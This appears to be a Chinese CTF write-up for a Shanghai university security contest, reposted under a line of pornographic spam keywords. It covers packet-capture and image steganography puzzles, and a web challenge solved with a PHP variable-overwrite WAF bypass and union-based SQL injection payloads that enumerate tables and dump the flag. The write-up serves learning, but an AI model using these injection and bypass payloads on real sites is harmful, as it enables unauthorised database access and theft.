日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

第六届上海市大学生网络安全大赛 | Wp

發(fā)布時(shí)間:2024/9/30 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 第六届上海市大学生网络安全大赛 | Wp 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

    • MISC
        • 0x00:簽到
        • 0x01:pcap
        • 0x02:pcap analysis
        • 0x03: 可樂加冰
    • Web
        • 0x01:千毒網(wǎng)盤

MISC

0x00:簽到


linux運(yùn)行一下即可得到flag

0x01:pcap

提示:請分析附件中的dnp3協(xié)議

具體的協(xié)議介紹可以看師傅的博客
DNP3協(xié)議解析 —— 利用Wireshark對報(bào)文逐字節(jié)進(jìn)行解析詳細(xì)解析DNP3所含功能碼
工控安全入門(四)—— DNP3協(xié)議
一開始以為出題考察的是read,在找參數(shù)object,以及File Data

但協(xié)議中并未出現(xiàn),后來問學(xué)長才知道一般考察這類工控題,基本都是以流量包的形式考察的因?yàn)橛行┉h(huán)境沒有辦法在線上提供,考察的還是傳統(tǒng)的ctf,只不過是換了工控協(xié)議

可以總結(jié)下flag、fl、f各種編碼,把數(shù)據(jù)包的內(nèi)容分長度不同進(jìn)行查看,有的時(shí)候這類題目考察的就是眼力。

這道題的flag便隱藏在每個(gè)長度為91的dnp3流量包中,按照順序進(jìn)行拼接即可

0x02:pcap analysis


這題上去也被秒了,就不用去看協(xié)議了,肯定還是把flag隱藏在流量包中,提示了讓去看Modbus協(xié)議,直接過濾查看,打開第一個(gè)流量包即可看到flag

0x03: 可樂加冰

給了一個(gè)PNG照片,試了很多常見的隱寫都沒有發(fā)現(xiàn)線索,后來隊(duì)里的qwzf拿到了一血,tql,復(fù)現(xiàn)一下,也學(xué)習(xí)學(xué)習(xí)。

binwalk分析一下,有zlib 之前都沒怎么注意過,也可以看一下2018全國大學(xué)生信息安全競賽 picture,也是考察zlib


5B.zilb和2AE96.zlib并沒有什么異常

再來看看2AE96

有些奇怪,復(fù)制出來

內(nèi)容不是十六進(jìn)制,是十進(jìn)制,寫個(gè)簡單的腳本轉(zhuǎn)換一下

#!/usr/bin/env python # -*- coding:utf-8 -*- # Author:1emon if __name__ == '__main__':data = ''with open("1.txt",'r',encoding='utf-8') as fp:strings = fp.read()lists = strings.split(' ')# print(list)for list in lists:data=data+chr(int(list))print(data)

S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$

翻之前的資料,發(fā)現(xiàn)和jjencode特別像,只不過含有S,把S替換成$再試一下

$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$

但發(fā)現(xiàn)解不了,查看了jjencode的作者提供的編碼測試頁,發(fā)現(xiàn)需要套上alert,它的格式是固定的

alert("")

alert('1emon')


知道規(guī)律了,把上面得到的內(nèi)容復(fù)制進(jìn)去即可,前后連接的+號不能忘

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\\\")"+"\"")())();


Web

0x01:千毒網(wǎng)盤


這個(gè)題有源碼泄露

http://eci-2ze636qtsw50d6niueft.cloudeci1.ichunqiu.com/www.zip

在code.php文件中發(fā)現(xiàn)sql語句,做題的時(shí)候沒有觀察到index.php文件中的變量覆蓋,一直以為是要繞過單引號,然后進(jìn)行SQL注入得到flag。

這題路沒走通只能去看index.php頁面,發(fā)現(xiàn)

查了下發(fā)現(xiàn)和之前的一道CTF比較類似,考察的是變量覆蓋

foreach(array_expression as $value) 遍歷給定的 array_expression 數(shù)組。每次循環(huán)中,當(dāng)前單元的值被賦給 $value 并且數(shù)組內(nèi)部的指針向前移一步
foreach(array_expression as $key => $value) 除了當(dāng)前單元的值以外,鍵值也會(huì)在每次循環(huán)中被賦給變量 $key

本地測試一下:

第一層foreach里,$__key就是_GET, _POST, _COOKIE,加上一個(gè)$就變?yōu)?_GET, $_POST, $_COOKIE

<?php foreach(array('_GET','_POST','_COOKIE') as $key){ echo "\$\$key<br>"; print_r($$key); echo "<br>"; foreach($$key as $key_2 => $value_2) {echo "\$\$key_2<br>"; print_r($$key_2);echo "<br>";echo "\$value_2<br>";print_r($value_2);echo "<br>"; var_dump($$key_2==$value_2);echo "<br>"; } }


第一次循環(huán)如果是以_GET傳入的話,最終得到的結(jié)果是false,試試以_POST傳入

unset($$__key2)把$_POST變量銷毀了,所以就不會(huì)觸發(fā)filter函數(shù),因?yàn)檫€沒進(jìn)waf函數(shù)POST就被unset了

接下來繼續(xù)執(zhí)行

if($_GET) extract($_GET, EXTR_SKIP); if($_POST) extract($_POST, EXTR_SKIP);

執(zhí)行之后$_POST變量就又回來了,可以在本地測試一下

<?php foreach(array('_GET', '_POST') as $key) {if($$key) { foreach($$key as $key_2 => $value_2) { if(isset($$key_2) && $$key_2 == $value_2) unset($$key_2); }}} echo "before<br>"; echo "GET:<br>"; var_dump($_GET); echo "<br>"; echo "POST:<br>"; var_dump($_POST); echo "<br>";if($_GET) extract($_GET, EXTR_SKIP); if($_POST) extract($_POST, EXTR_SKIP);echo "<br>"; echo "<br>"; echo "after<br>"; echo "POST:<br>"; var_dump($_POST);


執(zhí)行extract()之前,$_GET數(shù)組的鍵名是_POST,$_POST數(shù)組則不存在,$_GET數(shù)組的鍵名是_POST,所以也就是導(dǎo)入了名為_POST的變量,也就是$_POST變量,所以$_POST成功被還原

接下來測試一下payload,發(fā)現(xiàn)可以繞過去

使用聯(lián)合查詢注入方式看看,判斷列數(shù)

?_POST[code]=114514' order by 4%23 DATA: code=114514' order by 4%23

爆數(shù)據(jù)表

爆出字段值

?_POST[code]=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23 DATA: code=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23


爆值

?_POST[code]=114514' and 0=1 union select 1,2,flag from flag%23 DATA: code=114514' and 0=1 union select 1,2,flag from flag%23

總結(jié)

以上是生活随笔為你收集整理的第六届上海市大学生网络安全大赛 | Wp的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。